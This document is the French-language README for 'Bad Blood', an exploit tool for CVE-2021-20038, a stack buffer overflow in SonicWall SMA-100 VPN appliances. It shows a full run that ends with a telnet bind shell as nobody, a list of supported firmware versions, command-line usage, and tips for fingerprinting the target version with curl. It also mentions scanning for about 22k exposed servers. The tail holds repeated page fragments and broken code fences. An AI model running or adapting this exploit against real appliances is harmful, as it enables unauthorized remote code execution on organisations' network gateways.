Bad Blood

Bad Blood est une exploitation pour CVE-2021-20038, un débordement de tampon basé sur la pile dans le binaire httpd des systèmes de la série SMA-100 utilisant les versions de firmware 10.2.1.x. J'ai rédigé une grande partie des détails techniques ici :

AttackerKB CVE-2021-20038

L'exploitation, telle qu'écrite, ouvrira un shell lié telnet sur le port 1270. Un attaquant qui se connecte au shell obtiendra une exécution en tant que nobody.

Exemple de sortie```

albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 01:15:12 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv

▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌ ░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░

[+] Spinning up HTTP server [+] User did not provide an address. We'll guess it. [+] Generated 2047 base addresses [+] Generated 1046017 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 235533 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 70% [] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 14:38:03 [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.

bash-4.2$ whoami nobody bash-4.2$ uname -a Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux bash-4.2$

## Versions prises en charge

| Version | Prise en charge | Testée | Cible testée |
| - | - | - | - |
| 10.2.1.2-24sv | Oui | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.1-19sv | Oui | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.0-17sv | Oui | :heavy_check_mark: | SMA 500v ESX |

## Utilisation

Au minimum, vous devrez fournir :

* rhost : l'adresse IP de l'hôte distant
* lhost : l'adresse IP de l'hôte local
* version : la version de la cible.

Veuillez lire les notes de stabilité pour plus de contexte.

Une question évidente est de savoir comment obtenir la version de la cible. Une simple requête `curl` vers la cible révélera qu'ils utilisent le numéro de version pour le versionnage des `css` et `js`.```
albinolobster@ubuntu:~$ curl --insecure https://10.0.0.7/cgi-bin/welcome
...
<link href='/swl_login.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/swl_header.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_content_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_login_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href="/notificationbar.10.2.1.2-24sv.css" type="text/css" rel="stylesheet">
<script src="/js/jquery.10.2.1.2-24sv.js" type="text/javascript" charset="utf-8"></script>

Le module Metasploit pour CVE-2021-20039 analyse cela, mais je n'ai pas eu le courage de le faire pour cet exploit. Notez que si vous scannez votre environnement pour ces éléments, je pense que le "Server: SonicWall SSL-VPN Web Server" est le plus fiable. Environ 22k en janvier 2022.

Sortie d'aide```

albinolobster@ubuntu:~/badblood$ python3 badblood.py --help

usage: badblood.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--rversion RVERSION] [--rhostname RHOSTNAME] [--supported-versions] [--workers WORKERS] [--nocrash] [--enable-stderr] [--addr ADDR] [--top-addr TOP_ADDR]

SonicWall SMA-100 Series Stack-Buffer Overflow Exploit (CVE-2021-20038)

optional arguments: -h, --help show this help message and exit --supported-versions The list of supported SMA-100 versions --workers WORKERS The number of workers to spew the exploit --nocrash Stops the exploit from sending a series of crash payload to start --enable-stderr Enable stderr for debugging --addr ADDR Test only. If you know the crash address, go wild. --top-addr TOP_ADDR Test only. If you know the stack's top address, go wild.

required arguments: --rhost RHOST The IPv4 address to connect to --rport RPORT The port to connect to --lhost LHOST The address to connect back to --rversion RVERSION The version of the remote target --rhostname RHOSTNAME The hostname of the remote target target

### --addr vs. --top-addr vs. aucune option

Il existe trois modes de fonctionnement principaux. Le premier est le mode attendu (deviner l'adresse). Les deux suivants servent principalement à des fins de test.

#### Je ne connais aucune adresse !

C'est l'état par défaut et ce n'est pas un problème ! Nous allons simplement en deviner beaucoup.

#### Je connais l'adresse du sommet de la pile !

Parfait ! Si vous pouvez faire un `cat maps` ou utiliser un autre moyen magique :```
bfa29000-bfa4a000 rw-p 00000000 00:00 0          [stack]

Vous pouvez utiliser le paramètre --top_addr et réduire le temps d'attaque à quelques secondes !``` albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 05:42:19 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3215237120

badblood

Populaires

Bad Blood

Exemple de sortie```

Sortie d'aide```